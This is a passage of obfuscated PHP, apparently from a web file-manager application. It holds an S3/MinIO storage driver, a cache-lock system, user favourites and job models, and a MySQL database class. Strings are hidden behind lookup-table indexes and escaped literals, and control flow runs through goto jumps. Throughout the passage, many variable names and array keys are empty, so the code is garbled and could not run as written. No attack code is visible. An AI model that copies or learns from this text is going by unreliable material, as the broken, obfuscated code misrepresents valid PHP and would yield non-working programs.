!0); foreach ($ˊ[$떟[82]] as $ => $վӊ) { $ˊ[$떟[82]][$] = $this->folderInfo($վӊ, $ӫӑ, $վӊ); } foreach ($ˊ[$떟[83]] as $ => $վӊ) { $ˊ[$떟[83]][$] = $this->fileInfo($վӊ[$떟[32]], $ӫӑ, $վӊ); } return $ˊ; } protected function infoChildren($̱, &$Ё) { $ς =& $_SERVER[]; $ = $this->fileList($̱, $ς[12], !0); $Ё[$ς[78]] += count($[$ς[82]]); $Ё[$ς[77]] += count($[$ς[83]]); foreach ($[$ς[83]] as $о) { if (!$о || !$о[$ς[76]]) { continue; } $Ё[$ς[76]] += $о[$ς[76]]; } } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($), $[33] => $[200], $[174] => $this->ext($), $[76] => isset($[$[76]]) ? $[$[76]] : 0); if ($) { return $; } $[$[201]] = $[$[85]] = 0; $[$[202]] = $[$[203]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[180]])) { $[$[85]] = $[$[180]]; } if (isset($[$[76]])) { $[$[76]] = $[$[76]]; } return $; } private function folderInfo($, $ = false, $Ӥ = array()) { $ =& $_SERVER[]; $⑂ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] . $), $[33] => $[75]); if ($) { return $⑂; } $⑂[$[201]] = $⑂[$[85]] = 0; $⑂[$[202]] = $⑂[$[203]] = !0; if ($ == $[12]) { return $⑂; } if (empty($Ӥ)) { $Ӥ = $this->objectMeta(trim($, $[8]) . $[8]); } if (isset($Ӥ[$[180]])) { $⑂[$[201]] = $Ӥ[$[180]]; } return $⑂; } private function fileList($ͷ, $ޛߔ = '', $ = 0) { $ѿ =& $_SERVER[]; $ = rtrim($ͷ, $ѿ[8]) . $ѿ[8]; $Օ = $this->listObjs($, null, null, $ޛߔ); if (!$Օ) { return array($ѿ[82] => array(), $ѿ[83] => array()); } $ = $ʍ = array(); foreach ($Օ[$ѿ[204]] as $) { $ = $[$ѿ[32]]; if ($ == $) { continue; } $ = isset($[$ѿ[76]]) ? $[$ѿ[76]] : 0; $ј = $ == 0 && substr($, strlen($) - 1, 1) == $ѿ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $ј, $); if ($ј) { $[] = $; continue; } $ʍ[] = $ ? $ : $; } foreach ($Օ[$ѿ[205]] as $) { $[] = $[$ѿ[32]]; $this->cacheMethodInfoSet($[$ѿ[32]], !0); } $this->cacheMethodInfoSet($ͷ, !0); return array($ѿ[82] => $, $ѿ[83] => $ʍ); } private function listObjs($IJ, $ז = null, $ę = null, $ɝ = null) { $ =& $_SERVER[]; $IJ = trim($IJ, $[8]); $ = empty($IJ) && $IJ !== $[198] ? $[12] : $IJ . $[8]; return $this->client->getBucket($this->bucket, $, $ז, $ę, $ɝ, !0); } public function has($½, $ٟɑ = false, $ = true) { $ًگ =& $_SERVER[]; $½ = trim($½, $ًگ[8]); $ = empty($½) && $½ !== $ًگ[198] ? $ًگ[12] : $½ . $ًگ[8]; $ꍪ = null; $ʢ = 500; $іٴ = $ًگ[8]; $Ո = $ = array(); while (!0) { $ʰ = $this->listObjs($½, $ꍪ, $ʢ, $іٴ); if (!$ʰ) { break; } $ꍪ = $ʰ[$ًگ[206]]; $ = $ʰ[$ًگ[204]]; $йš = $ʰ[$ًگ[205]]; if (empty($) && empty($йš)) { break; } if (count($) == 1 && $[0][$ًگ[32]] == $) { break; } if ($ٟɑ) { if (count($)) { $ = array_column($, $ًگ[32]); $Ո = array_merge($Ո, $); } if (count($йš)) { $йš = array_column($йš, $ًگ[32]); $ = array_merge($, $йš); } if ($ꍪ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$ًگ[32]]) && $[0][$ًگ[32]] != $) { return !0; } } } else { if (!empty($йš)) { return !0; } } if ($ꍪ === null) { break; } } if ($ٟɑ) { $Ո = array_diff($Ո, array($)); $Ո = count(array_unique($Ո)); $ = count(array_unique($)); return array($ًگ[207] => $Ո, $ًگ[208] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $Ѐ = $this->fileList($, $[12], !0); $ؖ = array_to_keyvalue($Ѐ[$[83]], $[32]); foreach ($Ѐ[$[82]] as $) { if (is_string($)) { $ؖ[$] = array($[76] => 0); } } return $this->listAllFiles($, $ؖ); } public function canRead($) { $ =& $_SERVER[]; $줭 = $this->client->getAccessControlPolicy($this->bucket, $); if (!$줭) { return !1; } return in_array($줭, array($[209], $[210], $[211])) ? !0 : !1; } public function canWrite($) { $ލ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($ލ[209], $ލ[210])) ? !0 : !1; } public function getContent($Үˎ) { return $this->client->getObject($this->bucket, $Үˎ); } public function setContent($, $ = '', $𢣷 = false) { $ =& $_SERVER[]; $ = $𢣷 ? trim($, $[8]) . $[8] : $; $ʆ = get_file_mime(get_path_ext($)); $ = $this->client->putObject($, $this->bucket, $, $[199], array(), $ʆ); if (!$) { return !1; } if ($𢣷) { return !0; } $this->cacheMethod(null, null); $ = $this->copyFile($, $, array($[212] => $[$[213]])); return $ ? !0 : !1; } public function fileSubstr($, $މ, $) { $懗 = $މ + $ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[][214] => "\142\171\x74\145\163\75{$މ}\x2d{$懗}")); } public function upload($ݹ, $, $̨ٗ = false, $Ӌ = REPEAT_REPLACE) { $Ҭƚ =& $_SERVER[]; $ә = array($Ҭƚ[212] => @md5_file($)); $蘹 = array($Ҭƚ[215] => get_file_mime(get_path_ext($ݹ))); if (IO::size($) <= 1024 * 1024 * 200) { $Ƚ = $this->client->putObjectFile($, $this->bucket, $ݹ, $Ҭƚ[199], $ә, $蘹); return !empty($Ƚ) ? $this->getPathOuter($ݹ) : !1; } $ސ = $this->client->multiUploadObject($, $this->bucket, trim($ݹ, $Ҭƚ[8]), $ә, $蘹); return $ސ ? $this->getPathOuter($ݹ) : !1; } public function download($, $ѹ) { if (!@is_dir($this->pathFather($ѹ)) && !IO::mkdir($this->pathFather($ѹ))) { return !1; } $ = $this->client->getObject($this->bucket, $, array(), $ѹ); return $ !== !1 ? $ѹ : !1; } public function link($, $ċ = array()) { $ň =& $_SERVER[]; if ($this->signVer == $ň[216]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $ċ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $ň[8]), 3600 * 12, $this->region, array(), !0, $ċ); } public function fileOut($, $ = false, $߇ = false, $ = '') { $せ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $߇, $); } if (!$߇) { $߇ = $this->pathThis($); } $Ǧ = get_file_mime(get_path_ext($߇)); if ($Ǧ == $せ[217]) { return parent::fileOut($, $, $߇, $); } $ = array($せ[218] => $Ǧ); if ($) { $[$せ[219]] = $せ[220] . rawurlencode($߇); } else { } $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $۬Π = false, $浀 = '') { parent::fileOut($, $, $۬Π, $浀); } public function fileOutImageServer($, $Ց = 250) { parent::fileOutImage($, $Ց); } public function hashMd5($û, $੯ = '') { $ƍ =& $_SERVER[]; $ = $this->objectMeta($û); if (!$) { return !1; } $੯ = $੯ ? $੯ : _get($, $ƍ[221]); $੯ = $੯ ? $੯ : _get($, $ƍ[213], $ƍ[12]); return $੯; } public function uploadFormData($į, $ = 3600) { $ =& $_SERVER[]; $ = $this->pathFather($į); $Ʒ = $this->client->getHttpUploadPostParams($this->bucket, $, $[199], $); return array_merge((array) $Ʒ, array($[182] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $Σ愙 =& $_SERVER[]; $捆 = gmdate($Σ愙[222]); $Л = array(); $֏ = $this->client->getUploadId($this->bucket, $, $Л); if (!$֏) { return !1; } return array($Σ愙[223] => $֏, $Σ愙[182] => $this->getHost() . $Σ愙[8] . $this->pathEncode($), $Σ愙[224] => $捆, $Σ愙[94] => $); } public function multiUploadAuthData($, $ل = array()) { $ǂ =& $_SERVER[]; $¡唻 = isset($ل[$ǂ[224]]) ? $ل[$ǂ[224]] : gmdate($ǂ[222]); $ = isset($ل[$ǂ[174]]) ? $ل[$ǂ[174]] : $ǂ[12]; $Ō = $ل[$ǂ[94]]; unset($ل[$ǂ[94]]); if (isset($ل[$ǂ[225]])) { $ل[$ǂ[224]] = $¡唻; return $this->listUploadParts($Ō, $ل); } $Բˇ = array($ǂ[226], $ǂ[12], $ǂ[120], $ǂ[12], "\x78\55\x61\x6d\x7a\x2d\144\x61\164\145\72{$¡唻}", $ǂ[8] . $this->bucket . $ǂ[8] . $this->pathEncode($Ō) . $); if (strpos($, $ǂ[227]) === 0) { $Բˇ[0] = $ǂ[228]; } if (isset($ل[$ǂ[229]]) && $ل[$ǂ[229]] == $ǂ[230]) { $Բˇ[0] = $ǂ[230]; } $ƴ = implode($ǂ[231], $Բˇ); $ = base64_encode(hash_hmac($ǂ[232], $ƴ, $this->secret, !0)); $ = $ǂ[233] . $this->accessKey . $ǂ[4] . $; if (strpos($, $ǂ[227]) === 0) { return array($ǂ[234] => $, $ǂ[224] => $¡唻); } return $; } public function listUploadParts($, $˽ = array()) { $ =& $_SERVER[]; $ˢ = str_replace($[235], $[12], $˽[$[174]]); $ = $this->client->listParts($this->bucket, $, $ˢ); if (!$) { return !1; } unset($˽[$[225]], $˽[$[229]]); $˽[$[94]] = $; $ӝ = $this->multiUploadAuthData($, $˽); if (empty($ӝ)) { return !1; } return array($[234] => $ӝ, $[224] => $˽[$[224]], $[236] => $); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($) { $̮ = $this->objectMeta($); return $̮ ? $̮[$_SERVER[][76]] : 0; } public function info($ϥ) { if ($this->isFolder($ϥ)) { return $this->folderInfo($ϥ); } else { if ($this->isFile($ϥ)) { return $this->fileInfo($ϥ); } } return !1; } public function exist($Ĉ) { return $this->isFile($Ĉ) || $this->isFolder($Ĉ); } public function isFile($ʤ) { return !$this->isFolder($ʤ) && $this->objectMeta($ʤ); } public function isFolder($΁) { return $this->cacheMethod($_SERVER[][165], $΁); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($) { $ѐ =& $_SERVER[]; $ = rtrim($, $ѐ[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$ѐ[221]]) && isset($[$ѐ[237]])) { $[$ѐ[221]] = $[$ѐ[237]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $; } protected function _isFolder($͂) { $ﺽ =& $_SERVER[]; $͂ = rtrim($͂, $ﺽ[8]); if ($͂ == $ﺽ[12] || $͂ == $ﺽ[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $͂, null, 1); if (empty($[$ﺽ[204]])) { return !1; } $ʁ = $[$ﺽ[204]][0][$ﺽ[32]]; return stripos($ʁ, $͂ . $ﺽ[8]) === 0 ? !0 : !1; if (substr($ʁ, -1) == $ﺽ[8]) { return !0; } if (get_path_this($ʁ) == get_path_this($͂)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($颽) { parent::__construct($颽); $this->signatureVersion($_SERVER[][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function uploadFormData($, $Ϫ = 3600) { $ˮ֚ =& $_SERVER[]; $ = $ˮ֚[199]; $ = $ˮ֚[238]; $՜ۅ = $ˮ֚[62]; $ = gmdate($ˮ֚[239]); $ = gmdate($ˮ֚[240]); $󴚚 = $ˮ֚[241]; $ҭ = $Ϫ . $ˮ֚[12]; $䒷 = $ˮ֚[242]; $޷ = array($this->accessKey, $, $this->region, $՜ۅ, $󴚚); $ = implode($ˮ֚[8], $޷); $ = array($ˮ֚[243] => gmdate($ˮ֚[244], strtotime($ˮ֚[245])), $ˮ֚[246] => array(array($ˮ֚[247] => $this->bucket), array($ˮ֚[248] => $), array($ˮ֚[249], $ˮ֚[250], $ˮ֚[12]), array($ˮ֚[249], $ˮ֚[251], $ˮ֚[12]), array($ˮ֚[249], $ˮ֚[252], $ˮ֚[12]), array($ˮ֚[253] => $䒷), array($ˮ֚[254] => $), array($ˮ֚[255] => $), array($ˮ֚[256] => $), array($ˮ֚[257] => $ҭ))); $͛ = base64_encode(json_encode($)); $Ƽ = hash_hmac($ˮ֚[258], $, $ˮ֚[259] . $this->secret, !0); $ܫ = hash_hmac($ˮ֚[258], $this->region, $Ƽ, !0); $Ք = hash_hmac($ˮ֚[258], $՜ۅ, $ܫ, !0); $ = hash_hmac($ˮ֚[258], $󴚚, $Ք, !0); $ = hash_hmac($ˮ֚[258], $͛, $); $ = array($ˮ֚[215] => $ˮ֚[12], $ˮ֚[260] => $ˮ֚[12], $ˮ֚[248] => $, $ˮ֚[253] => $䒷, $ˮ֚[261] => $͛, $ˮ֚[262] => $, $ˮ֚[263] => $, $ˮ֚[264] => $, $ˮ֚[265] => $ҭ, $ˮ֚[266] => $, $ˮ֚[182] => $this->getHost()); return $; } } goto A񱿰; c: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $݆ͯ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ٚ = $GLOBALS[$݆ͯ[6]][$݆ͯ[378]]; self::$timeout = $ٚ[$݆ͯ[866]] ? $ٚ[$݆ͯ[866]] : 10; $Ī = _get($GLOBALS[$݆ͯ[6]], $݆ͯ[867]); $Қ = $ٚ[$݆ͯ[853]] ? $ٚ[$݆ͯ[853]] : $݆ͯ[200]; if ($Қ == $݆ͯ[21] && $Ī == $݆ͯ[13]) { $Қ = $݆ͯ[200]; } switch ($Қ) { case $݆ͯ[856]: self::$handle = new CacheLockRedis(); break; case $݆ͯ[857]: self::$handle = new CacheLockMemcached(); break; case $݆ͯ[21]: self::$handle = new CacheLockDatabase(); break; case $݆ͯ[200]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($݆ͯ[868], $݆ͯ[869]); } return self::$handle; } private static function key($ʩȼ) { return $_SERVER[][870] . Cache::key($ʩȼ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $Բdž) { return self::lock($, $Բdž, !0); } public static function lock($, $ʓ = false, $ӡ = false) { $߈ =& $_SERVER[]; $ = self::init(); $ф = self::key($); $ʓ = $ʓ ? $ʓ : self::$timeout; $׈ = timeFloat(); $σ = $->lock($ф, $ʓ); $ = timeFloat(); if (!$σ) { $է = "\154\157\143\x6b\x20\145\162\162\x6f\x72\x3b\x6b\x65\x79\x3d{$}\73\x74\x69\x6d\145\x3d{$ʓ}\73" . self::$errorMsg . $߈[71] . get_caller_msg(); $ = LNG($߈[871]) . "\x28{$ʓ}\x73\x29\x2e" . LNG($߈[872]); $ .= $߈[873]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $߈[874] . self::$errorMsg; } write_log($߈[875] . sprintf($߈[876], timeFloat() - $׈) . $߈[877] . $է . $߈[878] . error_get_last(), $߈[869]); show_json($, !1); } if (!$ӡ) { self::$lockItem[$ф] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($߈[879] . $ . $߈[880] . $, $߈[869]); } return $σ; } public static function lockGet($աȲى) { $콽ن = self::key($աȲى); if (self::$lockItem[$콽ن]) { return self::$lockItem[$콽ن]; } return self::init()->lockGet($콽ن); } public static function unlock($͢) { $Ś =& $_SERVER[]; $ĵ = self::key($͢); self::$lockItem[$ĵ] = null; self::init()->unlock($ĵ); if (GLOBAL_DEBUG_LOG_ALL) { write_log($Ś[881] . $͢, $Ś[869]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ׯ = self::init(); $Ո = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $ׯ->unlock($); if (!$Ո) { $Ո = !0; write_log($[882] . $ . $[71] . get_caller_msg(), $[869]); continue; } write_log($[882] . $, $[869]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[883] . $ . $[884] . ACTION, $[869]); } } public static function fileLock($ч) { $Ҋ =& $_SERVER[]; if (!$GLOBALS[$Ҋ[885]]) { $GLOBALS[$Ҋ[885]] = array(); } $GLOBALS[$Ҋ[885]][$ч] = !1; $ = fopen(DATA_PATH . $ч . $Ҋ[886], $Ҋ[887]); if (!$) { return !1; } $GLOBALS[$Ҋ[885]][$ч] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($ч); show_json($Ҋ[888], !1); return !1; } public static function fileUnlock($شՖ) { $Ԕݝ =& $_SERVER[]; $Ή = $GLOBALS[$Ԕݝ[885]][$شՖ]; if (!$Ή) { return; } $GLOBALS[$Ԕݝ[885]][$شՖ] = !1; flock($Ή, LOCK_UN); fclose($Ή); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!$GLOBALS[$[885]]) { return; } foreach ($GLOBALS[$[885]] as $ => $Ϫ) { if (!$Ϫ) { continue; } $GLOBALS[$[885]][$] = !1; flock($Ϫ, LOCK_UN); fclose($Ϫ); } $GLOBALS[$[885]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ޅԝ =& $_SERVER[]; $ = $GLOBALS[$ޅԝ[6]][$ޅԝ[378]]; self::$cachePath = $[$ޅԝ[200]][$ޅԝ[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($充, $ = 0) { $͡ݗ =& $_SERVER[]; $ѪϚ = microtime(!0); $ԙ = $ѪϚ + $ + 0.0001; $Ϥ = rtrim(self::$cachePath, $͡ݗ[8]) . $͡ݗ[889] . md5($充) . $͡ݗ[886]; if (file_exists($Ϥ) && filemtime($Ϥ) && filemtime($Ϥ) < time() - 10) { @unlink($Ϥ); } do { if (file_exists($Ϥ)) { cacheLockWait(); continue; } $ = fopen($Ϥ, $͡ݗ[890]); if (!$) { return !1; } $ = flock($, LOCK_EX | LOCK_NB); self::$caches[$充] = array($͡ݗ[891] => $, $͡ݗ[200] => $Ϥ); fwrite($, $ԙ); clearstatcache(); if ($ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $ԙ); $this->unlock($充); return !1; } public function lockGet($Ѭ) { $ν =& $_SERVER[]; $ݷ = rtrim(self::$cachePath, $ν[8]) . $ν[889] . md5($Ѭ) . $ν[886]; return file_exists($ݷ); } public function unlock($۠) { $ԕ =& $_SERVER[]; $徍 = self::$caches[$۠]; if (!$徍) { return; } @flock($徍[$ԕ[891]], LOCK_UN); @fclose($徍[$ԕ[891]]); @unlink($徍[$ԕ[200]]); unset(self::$caches[$۠]); } } goto c; f: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\x6d\x2e\x74\x61\163\x6b\x4c\x69\163\164"; public $field = array("\x6e\x61\x6d\145", "\164\171\160\x65", "\x65\x76\x65\156\x74", "\x74\x69\x6d\x65", "\144\145\x73\x63", "\163\171\x73\x74\145\x6d", "\145\156\x61\142\154\x65", "\x6c\141\163\164\x52\165\156", "\x73\157\162\164"); public function listData($쿾 = false, $ϲ = "\163\157\162\x74", $ݏˑ = false) { return parent::listData($쿾, $ϲ, $ݏˑ); } public function add($ǯ) { $Τ =& $_SERVER[]; $ᱭ = $this->findByName($ǯ[$Τ[32]]); if ($ᱭ) { return !1; } $ǯ[$Τ[1634]] = 0; $ǯ[$Τ[1890]] = $this->getSort(); return parent::insert($ǯ); } private function getSort() { $Ԣ =& $_SERVER[]; $Ŕ = parent::listData(); $ = array_to_keyvalue($Ŕ, $Ԣ[12], $Ԣ[1890]); return empty($) ? 0 : max($) + 1; } public function update($級, $έų) { $՗ =& $_SERVER[]; $ = $this->listData($級); $ = $this->findByName($έų[$՗[32]]); if (!$ || $ && $[$՗[428]] != $[$՗[428]]) { return !1; } return parent::update($級, $έų); } public function remove($, $ø = false) { $ď =& $_SERVER[]; $ϋ = $this->listData($); if (!$ϋ) { return; } if (!$ø && $ϋ[$ď[1320]] == $ď[88]) { return !1; } return parent::remove($); } public function enable($׵, $ʉ̄) { return $this->update($׵, array($_SERVER[][2299] => $ʉ̄)); } public function run($ޡ) { return $this->update($ޡ, array($_SERVER[][2311] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\x73\x65\162\x5f\146\141\166"; protected function cacheFunctionAlias($܃) { $ =& $_SERVER[]; return array($[1977] => array(USER_ID, $[2312])); } protected function listData() { $Ρ줡 =& $_SERVER[]; $ߏ = array($Ρ줡[1667] => USER_ID, $Ρ줡[512] => 0); $ = $Ρ줡[2313]; $Ѩ = $this->field($)->where($ߏ)->order($Ρ줡[2314])->select(); return $Ѩ ? $Ѩ : array(); } protected function resetCache() { } protected function listView() { $ޯ =& $_SERVER[]; $ʶԌ = $this->listData(); $Ӟ = array_filter_by_field($ʶԌ, $ޯ[33], $ޯ[445]); $ = array_to_keyvalue($Ӟ, $ޯ[12], $ޯ[84]); if (!$) { return $ʶԌ; } $ = 2000; $뙒۞ = array($ޯ[446] => array($ޯ[447], $)); $۽ = Model($ޯ[851])->listSource($뙒۞, $); $۽ = array_merge($۽[$ޯ[83]], $۽[$ޯ[82]]); $۽ = array_to_keyvalue($۽, $ޯ[431]); foreach ($ʶԌ as $ => $) { $ = $۽[$[$ޯ[84]]]; $ = $ ? $ : array(); $ʶԌ[$] = array_merge($, $); } return $ʶԌ; } protected function addFav($Ͼ, $܄ = '', $ = "\163\x6f\165\162\x63\x65") { $Ė =& $_SERVER[]; $ = array($Ė[1667] => USER_ID, $Ė[512] => 0, $Ė[451] => $, $Ė[450] => $Ͼ); if ($this->where($)->find()) { return !1; } $ = array($Ė[1667] => USER_ID, $Ė[512] => 0); $֞ = $this->where($)->max($Ė[1890]); if (!$֞) { $֞ = 0; } if (!$܄ && $ == $Ė[445]) { $ڽ = Model($Ė[1366])->where(array($Ė[446] => $Ͼ))->find(); if (!$ڽ) { return !1; } $܄ = $ڽ[$Ė[32]]; } $܄ = $this->getAutoName($܄); $悵 = array($Ė[1667] => USER_ID, $Ė[512] => 0, $Ė[449] => $܄, $Ė[450] => $Ͼ, $Ė[451] => $, $Ė[1870] => $֞ + 1); return $this->add($悵); } protected function remove($ؽ) { $̜ы =& $_SERVER[]; $Ӟ = array($̜ы[1667] => USER_ID, $̜ы[448] => $ؽ); return $this->where($Ӟ)->delete(); } protected function removeByName($Õп) { $ґ =& $_SERVER[]; $提 = array($ґ[1667] => USER_ID, $ґ[449] => $Õп, $ґ[512] => 0); return $this->where($提)->delete(); } protected function rename($, $ˍ̯) { $ =& $_SERVER[]; if ($ == $ˍ̯) { return !1; } $έ = $this->getAutoName($ˍ̯); if ($ˍ̯ != $έ) { return !1; } $߸ = array($[1667] => USER_ID, $[512] => 0, $[32] => $); return $this->where($߸)->save(array($[32] => $ˍ̯)); } protected function resetSort($ئ) { $Υ =& $_SERVER[]; $ئ = is_array($ئ) ? $ئ : array(); $ = array($Υ[1667] => USER_ID); for ($ɮ = 0; $ɮ < count($ئ); $ɮ++) { $[$Υ[448]] = $ئ[$ɮ]; $this->where($)->save(array($Υ[1870] => $ɮ + 1)); } return !0; } protected function moveTop($) { $Ҟ =& $_SERVER[]; $ = array($Ҟ[1667] => USER_ID, $Ҟ[512] => 0); $Ԡ = $this->where($)->where(array($Ҟ[32] => $))->find(); if (!$Ԡ) { return; } $ߤ = $this->field($Ҟ[428])->where($)->order($Ҟ[2314])->select(); $ߤ = array_to_keyvalue($ߤ, $Ҟ[12], $Ҟ[428]); $Ňœ = $ߤ; $ߤ = array_remove_value($ߤ, $Ԡ[$Ҟ[428]]); array_unshift($ߤ, $Ԡ[$Ҟ[428]]); return $this->resetSort($ߤ); } protected function moveBottom($) { $ =& $_SERVER[]; $ = array($[1667] => USER_ID, $[512] => 0); $ո = $this->where($)->max($[1890]); $̨ = array($[1890] => $ո + 1); return $this->where($)->where(array($[32] => $))->save($̨); } private function getAutoName($Ө) { $䂉 =& $_SERVER[]; $蒐 = array($䂉[1667] => USER_ID, $䂉[512] => 0); $µ = $this->field($䂉[32])->where($蒐)->select(); $µ = array_to_keyvalue($µ, $䂉[12], $䂉[32]); if (!$µ || !in_array($Ө, $µ)) { return $Ө; } for ($ݚ = 0; $ݚ < count($µ); $ݚ++) { if (!in_array($Ө . "\50{$ݚ}\x29", $µ)) { return $Ө . "\50{$ݚ}\51"; } } return $Ө . "\x28{$ݚ}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\x2e\152\x6f\142\x4c\x69\x73\x74"; public $field = array("\x6e\x61\x6d\145", "\144\145\x73\x63", "\163\157\162\164"); const JOB_KEY = "\163\x65\x6c\146\112\157\142\x4c\x69\163\164"; public function listData($ž = false, $Ȧ = "\163\157\162\164", $ = false) { return parent::listData($ž, $Ȧ, $); } public function remove($㓺) { return parent::remove($㓺); } public function add($ڍ) { $Γ =& $_SERVER[]; if ($this->findByName($ڍ[$Γ[32]])) { return !1; } $ڍ[$Γ[1890]] = $this->getSort(); return parent::insert($ڍ); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1890]); return empty($) ? 0 : max($) + 1; } public function update($, $ɬ) { $爢ŕ =& $_SERVER[]; $ = parent::listData($); $Ȼ = $this->findByName($ɬ[$爢ŕ[32]]); if (!$ || $Ȼ && $Ȼ[$爢ŕ[428]] != $[$爢ŕ[428]]) { return !1; } return parent::update($, $ɬ); } public function setUserJob($, $ε) { $¾ =& $_SERVER[]; if (!is_array($ε)) { $ε = array($ε); } $ީ = parent::listData(); $ń = array_to_keyvalue($ީ, $¾[32]); $暃 = $¾[407]; foreach ($ε as $ߊݼ) { if ($ń[$ߊݼ]) { $暃 .= $ń[$ߊݼ][$¾[428]] . $¾[50]; } else { $һЊ = $this->add($ߊݼ); $暃 .= $һЊ . $¾[50]; } } $暃 = rtrim($暃, $¾[50]); Model($¾[554])->metaSet($, self::JOB_KEY, $暃); } public function getUserJob($) { $ڛ = Model($_SERVER[][554])->metaGet($); return $this->getUserJobInfo($ڛ[self::JOB_KEY]); } public function getUserJobInfo($) { $ѷ =& $_SERVER[]; $lj = explode($ѷ[50], $); $˳ = parent::listData(); $˳ = array_remove_key($˳, $ѷ[201]); $Ƞ = array(); foreach ($lj as $) { if (isset($˳[$])) { $Ƞ[] = $˳[$]; } } return $Ƞ; } } goto AӾ; A񱿰: define($_SERVER[][267], 1); define($_SERVER[][268], 2); define($_SERVER[][269], 3); goto A𑥛; e覲퉮: class DbMysql extends Db { public function __construct($ß = '') { $ =& $_SERVER[]; if (!extension_loaded($[830])) { think_exception(think_lang($[14]) . $[916]); } if (!empty($ß)) { $this->config = $ß; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ᢅ = 0, $ = false) { $Ҵ =& $_SERVER[]; if (!isset($this->linkID[$ᢅ])) { if (empty($)) { $ = $this->config; } $ = $[$Ҵ[917]] . ($[$Ҵ[918]] ? "\x3a{$[$Ҵ[918]]}" : $Ҵ[12]); $ = !empty($[$Ҵ[17]][$Ҵ[18]]) ? $[$Ҵ[17]][$Ҵ[18]] : $this->pconnect; if ($) { $this->linkID[$ᢅ] = mysql_pconnect($, $[$Ҵ[919]], $[$Ҵ[920]], 131072); } else { $this->linkID[$ᢅ] = mysql_connect($, $[$Ҵ[919]], $[$Ҵ[920]], !0, 131072); } if (!$this->linkID[$ᢅ] || !empty($[$Ҵ[21]]) && !mysql_select_db($[$Ҵ[21]], $this->linkID[$ᢅ])) { think_exception(mysql_error()); } $¨ = mysql_get_server_info($this->linkID[$ᢅ]); mysql_query($Ҵ[921] . think_config($Ҵ[922]) . $Ҵ[58], $this->linkID[$ᢅ]); if ($¨ > $Ҵ[923]) { mysql_query($Ҵ[924], $this->linkID[$ᢅ]); } $this->connected = !0; if (1 != think_config($Ҵ[22])) { unset($this->config); } } return $this->linkID[$ᢅ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($즞) { $祐 =& $_SERVER[]; if (0 === stripos($즞, $祐[293])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $즞; if ($this->queryID) { $this->free(); } think_action_status($祐[23], 1); think_status($祐[24]); $this->queryID = mysql_query($즞, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ܶ) { $žƟ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ܶ; if ($this->queryID) { $this->free(); } think_action_status($žƟ[25], 1); think_status($žƟ[24]); $ؽ = mysql_query($ܶ, $this->_linkID); $this->debug(); if (!1 === $ؽ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][925], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][926], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ꦤ = mysql_query($_SERVER[][927], $this->_linkID); $this->transTimes = 0; if (!$ꦤ) { $this->error(); return !1; } } return !0; } private function getAll() { $ˇ = array(); if ($this->numRows > 0) { while 